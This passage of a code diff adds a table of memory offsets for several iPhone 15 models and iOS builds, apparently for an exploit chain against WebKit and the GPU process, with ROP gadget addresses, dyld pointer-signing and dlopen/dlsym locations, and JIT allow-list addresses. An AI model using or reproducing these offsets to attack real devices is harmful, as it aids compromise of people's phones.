0x20n, + CFNetwork__gConstantCFStringValueTable: 0x1ee9366e0n, + CGContextDelegate: 0x28n, + CMPhoto__CMPhotoCompressionCreateContainerFromImageExt: 0x1ac3ee428n, + CMPhoto__CMPhotoCompressionCreateDataContainerFromImage: 0x1ac3ee580n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImage: 0x1ac3bdcb8n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation: 0x1ac3be1e4n, + CMPhoto__CMPhotoCompressionSessionAddCustomMetadata: 0x1ac3be748n, + CMPhoto__CMPhotoCompressionSessionAddExif: 0x1ac3be304n, + CMPhoto__kCMPhotoTranscodeOption_Strips: 0x1e80b1898n, + DesktopServicesPriv_bss: 0x1ecca7a08n, + Foundation__NSBundleTables_bundleTables_value: 0x1ed8f0188n, + GPUConnectionToWebProcess_m_remoteGraphicsContextGLMap: 0xf0n, + GPUProcess_singleton: 0x1eb928a98n, + GetCurrentThreadTLSIndex_CurrentThreadIndex: 0x1ee7f7bc0n, + HOMEUI_cstring: 0x182f79636n, + IOSurfaceContextDelegate: 0x120n, + IOSurfaceDrawable: 0x150n, + IOSurfaceQueue: 0x48n, + ImageIO__IIOLoadCMPhotoSymbols: 0x18865582cn, + ImageIO__gFunc_CMPhotoCompressionCreateContainerFromImageExt: 0x1ed9c2af0n, + ImageIO__gFunc_CMPhotoCompressionCreateDataContainerFromImage: 0x1ed9c27a0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImage: 0x1ed9c27a8n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation: 0x1ed9c27b0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddCustomMetadata: 0x1ed9c26f0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddExif: 0x1ed9c27b8n, + ImageIO__gImageIOLogProc: 0x1ee9c0960n, + JavaScriptCore__globalFuncParseFloat: 0x19a8755ecn, + JavaScriptCore__jitAllowList: 0x1edb424a0n, + JavaScriptCore__jitAllowList_once: 0x1edb422b8n, + MediaAccessibility__MACaptionAppearanceGetDisplayType: 0x1bac3d744n, + PerfPowerServicesReader_cstring: 0x25808ee60n, + RemoteGraphicsContextGLWorkQueue: 0x1eda62d58n, + RemoteRenderingBackendProxy_off: 0x830n, + Security__SecKeychainBackupSyncable_block_invoke: 0x18b5db688n, + Security__SecOTRSessionProcessPacketRemote_block_invoke: 0x18b5ef958n, + Security__gSecurityd: 0x1eb683d78n, + TextToSpeech__OBJC_CLASS__TtC12TextToSpeech27TTSMagicFirstPartyAudioUnit: 0x1edd91288n, + UI_m_connection: 0x28n, + WebCore__DedicatedWorkerGlobalScope_vtable: 0x1f1380f70n, + WebCore__PAL_getPKContactClass: 0x1eda66fb8n, + WebCore__TelephoneNumberDetector_phoneNumbersScanner_value: 0x1eb922ed0n, + WebCore__ZZN7WebCoreL29allScriptExecutionContextsMapEvE8contexts: 0x1eb8ddac8n, + WebCore__initPKContact_once: 0x1eda6faf8n, + WebCore__initPKContact_value: 0x1eda6fb00n, + WebCore__softLinkDDDFACacheCreateFromFramework: 0x1eda6e2c0n, + WebCore__softLinkDDDFAScannerFirstResultInUnicharArray: 0x1eda6e2b8n, + WebCore__softLinkMediaAccessibilityMACaptionAppearanceGetDisplayType: 0x1eda6e2a0n, + WebCore__softLinkOTSVGOTSVGTableRelease: 0x1eeb4c548n, + WebProcess_ensureGPUProcessConnection: 0x199199958n, + WebProcess_gpuProcessConnectionClosed: 0x199aec2fcn, + WebProcess_singleton: 0x1eda63f00n, + __pthread_head: 0x26a888020n, + dyld__RuntimeState_emptySlot: 0x1a9a79b6cn, + dyld__RuntimeState_vtable: 0x1f2875aa0n, + dyld__dlopen_from_lambda_ret: 0x1a9a37fc8n, + dyld__signPointer: 0x1a9a433e4n, + emptyString: 0x1edb18420n, + free_slabs: 0x1ed9a98d0n, + gadget_control_1_ios184: 0x23f1202ecn, + gadget_control_2_ios184: 0x1ad86ec28n, + gadget_control_3_ios184: 0x21f289150n, + gadget_loop_1_ios184: 0x1865fc18cn, + gadget_loop_2_ios184: 0x20d25dda8n, + gadget_loop_3_ios184: 0x184d2df1cn, + gadget_set_all_registers_ios184: 0x20dfd616cn, + jsc_base: 0x19a45e000n, + libARI_cstring: 0x218ae7820n, + libGPUCompilerImplLazy__invoker: 0x23cec57e8n, + libGPUCompilerImplLazy_cstring: 0x23c00f870n, + libdyld__dlopen: 0x1ad8707b8n, + libdyld__dlsym: 0x1ad871a34n, + libdyld__gAPIs: 0x1ed5bc000n, + libsystem_c__atexit_mutex: 0x1ed8ced98n, + libsystem_kernel__thread_suspend: 0x1d3da91c0n, + libsystem_pthread_base: 0x20d2ac000n, + m_backend: 0x70n, + m_drawingArea: 0x50n, + m_gpuProcessConnection: 0x158n, + m_gpuProcessConnection_m_identifier: 0x38n, + m_imageBuffer: 0x18n, + m_isRenderingSuspended: 0xe8n, + m_platformContext: 0x38n, + m_remoteDisplayLists: 0x70n, + m_remoteRenderingBackendMap: 0xe8n, + m_webProcessConnections: 0x80n, + mach_task_self_ptr: 0x1ed8ce000n, + mainRunLoop: 0x1edb30020n, + privateState_off: 0x7e8n, + pthread_create_jsc: 0x19bd2af30n, + pthread_create_offset: 0x6988n, + runLoopHolder_tid: 0x1edb40708n, + rxBufferMtl_off: 0x100n, + rxMtlBuffer_off: 0x70n, + vertexAttribVector_off: 0x2548n + }, + "iPhone15,4_22F76": { + AVFAudio__AVLoadSpeechSynthesisImplementation_onceToken: 0x1edae3798n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisMarker: 0x1edae3280n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisProviderRequest: 0x1edae31e0n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisVoice: 0x1edae3230n, + AVFAudio__OBJC_CLASS__AVSpeechUtterance: 0x1edae2628n, + AVFAudio__cfstr_SystemLibraryTextToSpeech: 0x1f195f658n, + AXCoreUtilities__DefaultLoader: 0x1eb7c0be0n, + CAPointer: 0x20n, + CFNetwork__gConstantCFStringValueTable: 0x1ee9366e0n, + CGContextDelegate: 0x28n, + CMPhoto__CMPhotoCompressionCreateContainerFromImageExt: 0x1ac3ee428n, + CMPhoto__CMPhotoCompressionCreateDataContainerFromImage: 0x1ac3ee580n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImage: 0x1ac3bdcb8n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation: 0x1ac3be1e4n, + CMPhoto__CMPhotoCompressionSessionAddCustomMetadata: 0x1ac3be748n, + CMPhoto__CMPhotoCompressionSessionAddExif: 0x1ac3be304n, + CMPhoto__kCMPhotoTranscodeOption_Strips: 0x1e80b1898n, + DesktopServicesPriv_bss: 0x1ecca7a08n, + Foundation__NSBundleTables_bundleTables_value: 0x1ed8f0348n, + GPUConnectionToWebProcess_m_remoteGraphicsContextGLMap: 0xf0n, + GPUProcess_singleton: 0x1eb928a98n, + GetCurrentThreadTLSIndex_CurrentThreadIndex: 0x1ee7f7bc0n, + HOMEUI_cstring: 0x182f79636n, + IOSurfaceContextDelegate: 0x120n, + IOSurfaceDrawable: 0x150n, + IOSurfaceQueue: 0x48n, + ImageIO__IIOLoadCMPhotoSymbols: 0x18865582cn, + ImageIO__gFunc_CMPhotoCompressionCreateContainerFromImageExt: 0x1ed9c2cb0n, + ImageIO__gFunc_CMPhotoCompressionCreateDataContainerFromImage: 0x1ed9c2960n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImage: 0x1ed9c2968n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation: 0x1ed9c2970n, + ImageIO__gFunc_CMPhotoCompressionSessionAddCustomMetadata: 0x1ed9c28b0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddExif: 0x1ed9c2978n, + ImageIO__gImageIOLogProc: 0x1ee9c0960n, + JavaScriptCore__globalFuncParseFloat: 0x19a8755ecn, + JavaScriptCore__jitAllowList: 0x1edb424a0n, + JavaScriptCore__jitAllowList_once: 0x1edb422b8n, + MediaAccessibility__MACaptionAppearanceGetDisplayType: 0x1bac3d744n, + PerfPowerServicesReader_cstring: 0x257f2fe60n, + RemoteGraphicsContextGLWorkQueue: 0x1eda62f18n, + RemoteRenderingBackendProxy_off: 0x830n, + Security__SecKeychainBackupSyncable_block_invoke: 0x18b5db688n, + Security__SecOTRSessionProcessPacketRemote_block_invoke: 0x18b5ef958n, + Security__gSecurityd: 0x1eb683d78n, + TextToSpeech__OBJC_CLASS__TtC12TextToSpeech27TTSMagicFirstPartyAudioUnit: 0x1edd91288n, + UI_m_connection: 0x28n, + WebCore__DedicatedWorkerGlobalScope_vtable: 0x1f1380f70n, + WebCore__PAL_getPKContactClass: 0x1eda67178n, + WebCore__TelephoneNumberDetector_phoneNumbersScanner_value: 0x1eb922ed0n, + WebCore__ZZN7WebCoreL29allScriptExecutionContextsMapEvE8contexts: 0x1eb8ddac8n, + WebCore__initPKContact_once: 0x1eda6fcb8n, + WebCore__initPKContact_value: 0x1eda6fcc0n, + WebCore__softLinkDDDFACacheCreateFromFramework: 0x1eda6e480n, + WebCore__softLinkDDDFAScannerFirstResultInUnicharArray: 0x1eda6e478n, + WebCore__softLinkMediaAccessibilityMACaptionAppearanceGetDisplayType: 0x1eda6e460n, + WebCore__softLinkOTSVGOTSVGTableRelease: 0x1eeb4c548n, + WebProcess_ensureGPUProcessConnection: 0x199199958n, + WebProcess_gpuProcessConnectionClosed: 0x199aec2fcn, + WebProcess_singleton: 0x1eda640c0n, + __pthread_head: 0x269eb0020n, + dyld__RuntimeState_emptySlot: 0x1a9a79b6cn, + dyld__RuntimeState_vtable: 0x1f2875aa0n, + dyld__dlopen_from_lambda_ret: 0x1a9a37fc8n, + dyld__signPointer: 0x1a9a433e4n, + emptyString: 0x1edb18420n, + free_slabs: 0x1ed9a9a90n, + gadget_control_1_ios184: 0x23f1202ecn, + gadget_control_2_ios184: 0x1ad86ec28n, + gadget_control_3_ios184: 0x21f289150n, + gadget_loop_1_ios184: 0x1865fc18cn, + gadget_loop_2_ios184: 0x20d25dda8n, + gadget_loop_3_ios184: 0x184d2df1cn, + gadget_set_all_registers_ios184: 0x20dfd616cn, + jsc_base: 0x19a45e000n, + libARI_cstring: 0x218ae7820n, + libGPUCompilerImplLazy__invoker: 0x23cec57e8n, + libGPUCompilerImplLazy_cstring: 0x23c00f870n, + libdyld__dlopen: 0x1ad8707b8n, + libdyld__dlsym: 0x1ad871a34n, + libdyld__gAPIs: 0x1ed5bc000n, + libsystem_c__atexit_mutex: 0x1ed8cef58n, + libsystem_kernel__thread_suspend: 0x1d3da91c0n, + libsystem_pthread_base: 0x20d2ac000n, + m_backend: 0x70n, + m_drawingArea: 0x50n, + m_gpuProcessConnection: 0x158n, + m_gpuProcessConnection_m_identifier: 0x38n, + m_imageBuffer: 0x18n, + m_isRenderingSuspended: 0xe8n, + m_platformContext: 0x38n, + m_remoteDisplayLists: 0x70n, + m_remoteRenderingBackendMap: 0xe8n, + m_webProcessConnections: 0x80n, + mach_task_self_ptr: 0x1ed8ce1c0n, + mainRunLoop: 0x1edb30020n, + privateState_off: 0x7e8n, + pthread_create_jsc: 0x19bd2af30n, + pthread_create_offset: 0x6988n, + runLoopHolder_tid: 0x1edb40708n, + rxBufferMtl_off: 0x100n, + rxMtlBuffer_off: 0x70n, + vertexAttribVector_off: 0x2548n + }, + "iPhone15,4_22E240": { + AVFAudio__AVLoadSpeechSynthesisImplementation_onceToken: 0x1edae3798n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisMarker: 0x1edae3280n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisProviderRequest: 0x1edae31e0n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisVoice: 0x1edae3230n, + AVFAudio__OBJC_CLASS__AVSpeechUtterance: 0x1edae2628n, + AVFAudio__cfstr_SystemLibraryTextToSpeech: 0x1f195f658n, + AXCoreUtilities__DefaultLoader: 0x1eb7c0be0n, + CAPointer: 0x20n, + CFNetwork__gConstantCFStringValueTable: 0x1ee9366e0n, + CGContextDelegate: 0x28n, + CMPhoto__CMPhotoCompressionCreateContainerFromImageExt: 0x1ac3ee428n, + CMPhoto__CMPhotoCompressionCreateDataContainerFromImage: 0x1ac3ee580n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImage: 0x1ac3bdcb8n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation: 0x1ac3be1e4n, + CMPhoto__CMPhotoCompressionSessionAddCustomMetadata: 0x1ac3be748n, + CMPhoto__CMPhotoCompressionSessionAddExif: 0x1ac3be304n, + CMPhoto__kCMPhotoTranscodeOption_Strips: 0x1e80b1898n, + DesktopServicesPriv_bss: 0x1ecca7a08n, + Foundation__NSBundleTables_bundleTables_value: 0x1ed8f0348n, + GPUConnectionToWebProcess_m_remoteGraphicsContextGLMap: 0xf0n, + GPUProcess_singleton: 0x1eb928a98n, + GetCurrentThreadTLSIndex_CurrentThreadIndex: 0x1ee7f7bc0n, + HOMEUI_cstring: 0x182f79636n, + IOSurfaceContextDelegate: 0x120n, + IOSurfaceDrawable: 0x150n, + IOSurfaceQueue: 0x48n, + ImageIO__IIOLoadCMPhotoSymbols: 0x18865582cn, + ImageIO__gFunc_CMPhotoCompressionCreateContainerFromImageExt: 0x1ed9c2cb0n, + ImageIO__gFunc_CMPhotoCompressionCreateDataContainerFromImage: 0x1ed9c2960n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImage: 0x1ed9c2968n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation: 0x1ed9c2970n, + ImageIO__gFunc_CMPhotoCompressionSessionAddCustomMetadata: 0x1ed9c28b0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddExif: 0x1ed9c2978n, + ImageIO__gImageIOLogProc: 0x1ee9c0960n, + JavaScriptCore__globalFuncParseFloat: 0x19a8755ecn, + JavaScriptCore__jitAllowList: 0x1edb424a0n, + JavaScriptCore__jitAllowList_once: 0x1edb422b8n, + MediaAccessibility__MACaptionAppearanceGetDisplayType: 0x1bac3d744n, + PerfPowerServicesReader_cstring: 0x257f2fe60n, + RemoteGraphicsContextGLWorkQueue: 0x1eda62f18n, + RemoteRenderingBackendProxy_off: 0x830n, + Security__SecKeychainBackupSyncable_block_invoke: 0x18b5db688n, + Security__SecOTRSessionProcessPacketRemote_block_invoke: 0x18b5ef958n, + Security__gSecurityd: 0x1eb683d78n, + TextToSpeech__OBJC_CLASS__TtC12TextToSpeech27TTSMagicFirstPartyAudioUnit: 0x1edd91288n, + UI_m_connection: 0x28n, + WebCore__DedicatedWorkerGlobalScope_vtable: 0x1f1380f70n, + WebCore__PAL_getPKContactClass: 0x1eda67178n, + WebCore__TelephoneNumberDetector_phoneNumbersScanner_value: 0x1eb922ed0n, + WebCore__ZZN7WebCoreL29allScriptExecutionContextsMapEvE8contexts: 0x1eb8ddac8n, + WebCore__initPKContact_once: 0x1eda6fcb8n, + WebCore__initPKContact_value: 0x1eda6fcc0n, + WebCore__softLinkDDDFACacheCreateFromFramework: 0x1eda6e480n, + WebCore__softLinkDDDFAScannerFirstResultInUnicharArray: 0x1eda6e478n, + WebCore__softLinkMediaAccessibilityMACaptionAppearanceGetDisplayType: 0x1eda6e460n, + WebCore__softLinkOTSVGOTSVGTableRelease: 0x1eeb4c548n, + WebProcess_ensureGPUProcessConnection: 0x199199958n, + WebProcess_gpuProcessConnectionClosed: 0x199aec2fcn, + WebProcess_singleton: 0x1eda640c0n, + __pthread_head: 0x269eb0020n, + dyld__RuntimeState_emptySlot: 0x1a9a79b6cn, + dyld__RuntimeState_vtable: 0x1f2875aa0n, + dyld__dlopen_from_lambda_ret: 0x1a9a37fc8n, + dyld__signPointer: 0x1a9a433e4n, + emptyString: 0x1edb18420n, + free_slabs: 0x1ed9a9a90n, + gadget_control_1_ios184: 0x23f1202ecn, + gadget_control_2_ios184: 0x1ad86ec28n, + gadget_control_3_ios184: 0x21f289150n, + gadget_loop_1_ios184: 0x1865fc18cn, + gadget_loop_2_ios184: 0x20d25dda8n, + gadget_loop_3_ios184: 0x184d2df1cn, + gadget_set_all_registers_ios184: 0x20dfd616cn, + jsc_base: 0x19a45e000n, + libARI_cstring: 0x218ae7820n, + libGPUCompilerImplLazy__invoker: 0x23cec57e8n, + libGPUCompilerImplLazy_cstring: 0x23c00f870n, + libdyld__dlopen: 0x1ad8707b8n, + libdyld__dlsym: 0x1ad871a34n, + libdyld__gAPIs: 0x1ed5bc000n, + libsystem_c__atexit_mutex: 0x1ed8cef58n, + libsystem_kernel__thread_suspend: 0x1d3da91c0n, + libsystem_pthread_base: 0x20d2ac000n, + m_backend: 0x70n, + m_drawingArea: 0x50n, + m_gpuProcessConnection: 0x158n, + m_gpuProcessConnection_m_identifier: 0x38n, + m_imageBuffer: 0x18n, + m_isRenderingSuspended: 0xe8n, + m_platformContext: 0x38n, + m_remoteDisplayLists: 0x70n, + m_remoteRenderingBackendMap: 0xe8n, + m_webProcessConnections: 0x80n, + mach_task_self_ptr: 0x1ed8ce1c0n, + mainRunLoop: 0x1edb30020n, + privateState_off: 0x7e8n, + pthread_create_jsc: 0x19bd2af30n, + pthread_create_offset: 0x6988n, + runLoopHolder_tid: 0x1edb40708n, + rxBufferMtl_off: 0x100n, + rxMtlBuffer_off: 0x70n, + vertexAttribVector_off: 0x2548n + }, + "iPhone15,4_22E252": { + AVFAudio__AVLoadSpeechSynthesisImplementation_onceToken: 0x1edae3798n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisMarker: 0x1edae3280n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisProviderRequest: 0x1edae31e0n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisVoice: 0x1edae3230n, + AVFAudio__OBJC_CLASS__AVSpeechUtterance: 0x1edae2628n, + AVFAudio__cfstr_SystemLibraryTextToSpeech: 0x1f195f658n, + AXCoreUtilities__DefaultLoader: 0x1eb7c0be0n, + CAPointer: 0x20n, + CFNetwork__gConstantCFStringValueTable: 0x1ee9366e0n, + CGContextDelegate: 0x28n, + CMPhoto__CMPhotoCompressionCreateContainerFromImageExt: 0x1ac3ee428n, + CMPhoto__CMPhotoCompressionCreateDataContainerFromImage: 0x1ac3ee580n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImage: 0x1ac3bdcb8n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation: 0x1ac3be1e4n, + CMPhoto__CMPhotoCompressionSessionAddCustomMetadata: 0x1ac3be748n, + CMPhoto__CMPhotoCompressionSessionAddExif: 0x1ac3be304n, + CMPhoto__kCMPhotoTranscodeOption_Strips: 0x1e80b1898n, + DesktopServicesPriv_bss: 0x1ecca7a08n, + Foundation__NSBundleTables_bundleTables_value: 0x1ed8f0348n, + GPUConnectionToWebProcess_m_remoteGraphicsContextGLMap: 0xf0n, + GPUProcess_singleton: 0x1eb928a98n, + GetCurrentThreadTLSIndex_CurrentThreadIndex: 0x1ee7f7bc0n, + HOMEUI_cstring: 0x182f79636n, + IOSurfaceContextDelegate: 0x120n, + IOSurfaceDrawable: 0x150n, + IOSurfaceQueue: 0x48n, + ImageIO__IIOLoadCMPhotoSymbols: 0x18865582cn, + ImageIO__gFunc_CMPhotoCompressionCreateContainerFromImageExt: 0x1ed9c2cb0n, + ImageIO__gFunc_CMPhotoCompressionCreateDataContainerFromImage: 0x1ed9c2960n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImage: 0x1ed9c2968n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation: 0x1ed9c2970n, + ImageIO__gFunc_CMPhotoCompressionSessionAddCustomMetadata: 0x1ed9c28b0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddExif: 0x1ed9c2978n, + ImageIO__gImageIOLogProc: 0x1ee9c0960n, + JavaScriptCore__globalFuncParseFloat: 0x19a8755ecn, + JavaScriptCore__jitAllowList: 0x1edb424a0n, + JavaScriptCore__jitAllowList_once: 0x1edb422b8n, + MediaAccessibility__MACaptionAppearanceGetDisplayType: 0x1bac3d744n, + PerfPowerServicesReader_cstring: 0x257f2fe60n, + RemoteGraphicsContextGLWorkQueue: 0x1eda62f18n, + RemoteRenderingBackendProxy_off: 0x830n, + Security__SecKeychainBackupSyncable_block_invoke: 0x18b5db688n, + Security__SecOTRSessionProcessPacketRemote_block_invoke: 0x18b5ef958n, + Security__gSecurityd: 0x1eb683d78n, + TextToSpeech__OBJC_CLASS__TtC12TextToSpeech27TTSMagicFirstPartyAudioUnit: 0x1edd91288n, + UI_m_connection: 0x28n, + WebCore__DedicatedWorkerGlobalScope_vtable: 0x1f1380f70n, + WebCore__PAL_getPKContactClass: 0x1eda67178n, + WebCore__TelephoneNumberDetector_phoneNumbersScanner_value: 0x1eb922ed0n, + WebCore__ZZN7WebCoreL29allScriptExecutionContextsMapEvE8contexts: 0x1eb8ddac8n, + WebCore__initPKContact_once: 0x1eda6fcb8n, + WebCore__initPKContact_value: 0x1eda6fcc0n, + WebCore__softLinkDDDFACacheCreateFromFramework: 0x1eda6e480n, + WebCore__softLinkDDDFAScannerFirstResultInUnicharArray: 0x1eda6e478n, + WebCore__softLinkMediaAccessibilityMACaptionAppearanceGetDisplayType: 0x1eda6e460n, + WebCore__softLinkOTSVGOTSVGTableRelease: 0x1eeb4c548n, + WebProcess_ensureGPUProcessConnection: 0x199199958n, + WebProcess_gpuProcessConnectionClosed: 0x199aec2fcn, + WebProcess_singleton: 0x1eda640c0n, + __pthread_head: 0x269eb0020n, + dyld__RuntimeState_emptySlot: 0x1a9a79b6cn, + dyld__RuntimeState_vtable: 0x1f2875aa0n, + dyld__dlopen_from_lambda_ret: 0x1a9a37fc8n, + dyld__signPointer: 0x1a9a433e4n, + emptyString: 0x1edb18420n, + free_slabs: 0x1ed9a9a90n, + gadget_control_1_ios184: 0x23f1202ecn, + gadget_control_2_ios184: 0x1ad86ec28n, + gadget_control_3_ios184: 0x21f289150n, + gadget_loop_1_ios184: 0x1865fc18cn, + gadget_loop_2_ios184: 0x20d25dda8n, + gadget_loop_3_ios184: 0x184d2df1cn, + gadget_set_all_registers_ios184: 0x20dfd616cn, + jsc_base: 0x19a45e000n, + libARI_cstring: 0x218ae7820n, + libGPUCompilerImplLazy__invoker: 0x23cec57e8n, + libGPUCompilerImplLazy_cstring: 0x23c00f870n, + libdyld__dlopen: 0x1ad8707b8n, + libdyld__dlsym: 0x1ad871a34n, + libdyld__gAPIs: 0x1ed5bc000n, + libsystem_c__atexit_mutex: 0x1ed8cef58n, + libsystem_kernel__thread_suspend: 0x1d3da91c0n, + libsystem_pthread_base: 0x20d2ac000n, + m_backend: 0x70n, + m_drawingArea: 0x50n, + m_gpuProcessConnection: 0x158n, + m_gpuProcessConnection_m_identifier: 0x38n, + m_imageBuffer: 0x18n, + m_isRenderingSuspended: 0xe8n, + m_platformContext: 0x38n, + m_remoteDisplayLists: 0x70n, + m_remoteRenderingBackendMap: 0xe8n, + m_webProcessConnections: 0x80n, + mach_task_self_ptr: 0x1ed8ce1c0n, + mainRunLoop: 0x1edb30020n, + privateState_off: 0x7e8n, + pthread_create_jsc: 0x19bd2af30n, + pthread_create_offset: 0x6988n, + runLoopHolder_tid: 0x1edb40708n, + rxBufferMtl_off: 0x100n, + rxMtlBuffer_off: 0x70n, + vertexAttribVector_off: 0x2548n + }, + "iPhone15,5_22F76": { + AVFAudio__AVLoadSpeechSynthesisImplementation_onceToken: 0x1edae3798n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisMarker: 0x1edae3280n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisProviderRequest: 0x1edae31e0n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisVoice: 0x1edae3230n, + AVFAudio__OBJC_CLASS__AVSpeechUtterance: 0x1edae2628n, + AVFAudio__cfstr_SystemLibraryTextToSpeech: 0x1f195f658n, + AXCoreUtilities__DefaultLoader: 0x1eb7c0be0n, + CAPointer: 0x20n, + CFNetwork__gConstantCFStringValueTable: 0x1ee9366e0n, + CGContextDelegate: 0x28n, + CMPhoto__CMPhotoCompressionCreateContainerFromImageExt: 0x1ac3ee428n, + CMPhoto__CMPhotoCompressionCreateDataContainerFromImage: 0x1ac3ee580n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImage: 0x1ac3bdcb8n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation: 0x1ac3be1e4n, + CMPhoto__CMPhotoCompressionSessionAddCustomMetadata: 0x1ac3be748n, + CMPhoto__CMPhotoCompressionSessionAddExif: 0x1ac3be304n, + CMPhoto__kCMPhotoTranscodeOption_Strips: 0x1e80b1898n, + DesktopServicesPriv_bss: 0x1ecca7a08n, + Foundation__NSBundleTables_bundleTables_value: 0x1ed8f0348n, + GPUConnectionToWebProcess_m_remoteGraphicsContextGLMap: 0xf0n, + GPUProcess_singleton: 0x1eb928a98n, + GetCurrentThreadTLSIndex_CurrentThreadIndex: 0x1ee7f7bc0n, + HOMEUI_cstring: 0x182f79636n, + IOSurfaceContextDelegate: 0x120n, + IOSurfaceDrawable: 0x150n, + IOSurfaceQueue: 0x48n, + ImageIO__IIOLoadCMPhotoSymbols: 0x18865582cn, + ImageIO__gFunc_CMPhotoCompressionCreateContainerFromImageExt: 0x1ed9c2cb0n, + ImageIO__gFunc_CMPhotoCompressionCreateDataContainerFromImage: 0x1ed9c2960n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImage: 0x1ed9c2968n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation: 0x1ed9c2970n, + ImageIO__gFunc_CMPhotoCompressionSessionAddCustomMetadata: 0x1ed9c28b0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddExif: 0x1ed9c2978n, + ImageIO__gImageIOLogProc: 0x1ee9c0960n, + JavaScriptCore__globalFuncParseFloat: 0x19a8755ecn, + JavaScriptCore__jitAllowList: 0x1edb424a0n, + JavaScriptCore__jitAllowList_once: 0x1edb422b8n, + MediaAccessibility__MACaptionAppearanceGetDisplayType: 0x1bac3d744n, + PerfPowerServicesReader_cstring: 0x257f2fe60n, + RemoteGraphicsContextGLWorkQueue: 0x1eda62f18n, + RemoteRenderingBackendProxy_off: 0x830n, + Security__SecKeychainBackupSyncable_block_invoke: 0x18b5db688n, + Security__SecOTRSessionProcessPacketRemote_block_invoke: 0x18b5ef958n, + Security__gSecurityd: 0x1eb683d78n, + TextToSpeech__OBJC_CLASS__TtC12TextToSpeech27TTSMagicFirstPartyAudioUnit: 0x1edd91288n, + UI_m_connection: 0x28n, + WebCore__DedicatedWorkerGlobalScope_vtable: 0x1f1380f70n, + WebCore__PAL_getPKContactClass: 0x1eda67178n, + WebCore__TelephoneNumberDetector_phoneNumbersScanner_value: 0x1eb922ed0n, + WebCore__ZZN7WebCoreL29allScriptExecutionContextsMapEvE8contexts: 0x1eb8ddac8n, + WebCore__initPKContact_once: 0x1eda6fcb8n, + WebCore__initPKContact_value: 0x1eda6fcc0n, + WebCore__softLinkDDDFACacheCreateFromFramework: 0x1eda6e480n, + WebCore__softLinkDDDFAScannerFirstResultInUnicharArray: 0x1eda6e478n, + WebCore__softLinkMediaAccessibilityMACaptionAppearanceGetDisplayType: 0x1eda6e460n, + WebCore__softLinkOTSVGOTSVGTableRelease: 0x1eeb4c548n, + WebProcess_ensureGPUProcessConnection: 0x199199958n, + WebProcess_gpuProcessConnectionClosed: 0x199aec2fcn, + WebProcess_singleton: 0x1eda640c0n, + __pthread_head: 0x269eb0020n, + dyld__RuntimeState_emptySlot: 0x1a9a79b6cn, + dyld__RuntimeState_vtable: 0x1f2875aa0n, + dyld__dlopen_from_lambda_ret: 0x1a9a37fc8n, + dyld__signPointer: 0x1a9a433e4n, + emptyString: 0x1edb18420n, + free_slabs: 0x1ed9a9a90n, + gadget_control_1_ios184: 0x23f1202ecn, + gadget_control_2_ios184: 0x1ad86ec28n, + gadget_control_3_ios184: 0x21f289150n, + gadget_loop_1_ios184: 0x1865fc18cn, + gadget_loop_2_ios184: 0x20d25dda8n, + gadget_loop_3_ios184: 0x184d2df1cn, + gadget_set_all_registers_ios184: 0x20dfd616cn, + jsc_base: 0x19a45e000n, + libARI_cstring: 0x218ae7820n, + libGPUCompilerImplLazy__invoker: 0x23cec57e8n, + libGPUCompilerImplLazy_cstring: 0x23c00f870n, + libdyld__dlopen: 0x1ad8707b8n, + libdyld__dlsym: 0x1ad871a34n, + libdyld__gAPIs: 0x1ed5bc000n, + libsystem_c__atexit_mutex: 0x1ed8cef58n, + libsystem_kernel__thread_suspend: 0x1d3da91c0n, + libsystem_pthread_base: 0x20d2ac000n, + m_backend: 0x70n, + m_drawingArea: 0x50n, + m_gpuProcessConnection: 0x158n, + m_gpuProcessConnection_m_identifier: 0x38n, + m_imageBuffer: 0x18n, + m_isRenderingSuspended: 0xe8n, + m_platformContext: 0x38n, + m_remoteDisplayLists: 0x70n, + m_remoteRenderingBackendMap: 0xe8n, + m_webProcessConnections: 0x80n, + mach_task_self_ptr: 0x1ed8ce1c0n, + mainRunLoop: 0x1edb30020n, + privateState_off: 0x7e8n, + pthread_create_jsc: 0x19bd2af30n, + pthread_create_offset: 0x6988n, + runLoopHolder_tid: 0x1edb40708n, + rxBufferMtl_off: 0x100n, + rxMtlBuffer_off: 0x70n, + vertexAttribVector_off: 0x2548n + }, + 